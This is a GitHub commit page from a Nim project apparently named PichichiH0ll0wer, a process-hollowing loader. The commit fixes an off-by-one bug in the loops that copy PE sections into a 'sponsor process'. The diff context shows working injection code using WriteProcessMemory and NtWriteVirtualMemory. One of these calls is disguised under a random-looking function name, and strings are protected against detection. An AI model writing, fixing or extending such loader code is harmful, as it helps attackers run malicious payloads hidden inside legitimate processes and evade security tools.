Skip to content

Commit

Permalink
fixed bug in sections loop
Browse files Browse the repository at this point in the history
  • Loading branch information
itaymigdal committed Mar 3, 2024
1 parent dc1a55e commit a48a3be
Show file tree
Hide file tree
Showing 3 changed files with 6 additions and 6 deletions.
6 changes: 3 additions & 3 deletions PichichiH0ll0wer/Loader/hollow123.nim
Original file line number Diff line number Diff line change
Expand Up @@ -84,8 +84,8 @@ proc hollow123*(peStr: string, processInfoAddress: PPROCESS_INFORMATION): bool =
quit()

# Copy PE sections to sponsor process
when not defined(release): echo "[*] Copying PE sections to sponsor process"
for i in countUp(0, cast[int](peImageNtHeaders.FileHeader.NumberOfSections)):
when not defined(release): echo "[*] Copying PE sections to sponsor process"
for i in countUp(0, cast[int](peImageNtHeaders.FileHeader.NumberOfSections) - 1):
if WriteProcessMemory(
sponsorProcessHandle,
newImageBaseAddress + peImageSectionsHeader[i].VirtualAddress,
Expand Down Expand Up @@ -181,7 +181,7 @@ proc hollow123*(peStr: string, processInfoAddress: PPROCESS_INFORMATION): bool =

# Copy PE sections to sponsor process
when not defined(release): echo "[*] Copying PE sections to sponsor process"
for i in countUp(0, cast[int](peImageNtHeaders.FileHeader.NumberOfSections)):
for i in countUp(0, cast[int](peImageNtHeaders.FileHeader.NumberOfSections) - 1):
if nVcnEsSyWXtfrjav( # NtWriteVirtualMemory
sponsorProcessHandle,
newImageBaseAddress + peImageSectionsHeader[i].VirtualAddress,
Expand Down
4 changes: 2 additions & 2 deletions PichichiH0ll0wer/Loader/hollow456.nim
Original file line number Diff line number Diff line change
Expand Up @@ -92,7 +92,7 @@ when defined(hollow4):
quit(1)

# Copy PE sections to sponsor process
for i in countUp(0, cast[int](peImageNtHeaders.FileHeader.NumberOfSections)):
for i in countUp(0, cast[int](peImageNtHeaders.FileHeader.NumberOfSections) - 1):
if NtWriteVirtualMemory(
processHandle,
newImageBase + peImageSectionsHeader[i].VirtualAddress,
Expand Down Expand Up @@ -226,7 +226,7 @@ when defined(hollow5) or defined(hollow6):
quit(1)

# Copy PE sections to sponsor process
for i in countUp(0, cast[int](peImageNtHeaders.FileHeader.NumberOfSections)):
for i in countUp(0, cast[int](peImageNtHeaders.FileHeader.NumberOfSections) - 1):
if nVcnEsSyWXtfrjav( # NtWriteVirtualMemory
processHandle,
newImageBase + peImageSectionsHeader[i].VirtualAddress,
Expand Down
2 changes: 1 addition & 1 deletion PichichiH0ll0wer/Loader/reloc.nim
Original file line number Diff line number Diff line change
Expand Up @@ -31,7 +31,7 @@ proc applyRelocations*(peBytesPtr: ptr byte, newImageBaseAddress: LPVOID, sponso
var dwDelta = cast[DWORD](cast[int](newImageBaseAddress) - cast[int](peImageImageBase))
if dwDelta == 0:
return true
for i in countUp(0, cast[int](peImageNtHeaders.FileHeader.NumberOfSections)):
for i in countUp(0, cast[int](peImageNtHeaders.FileHeader.NumberOfSections) - 1):
if toString(peImageSectionsHeader[i].Name) == protectString(".reloc"):
var dwRelocAddr = peImageSectionsHeader[i].PointerToRawData
var dwOffset: DWORD = 0
Expand Down

0 comments on commit a48a3be

Please sign in to comment.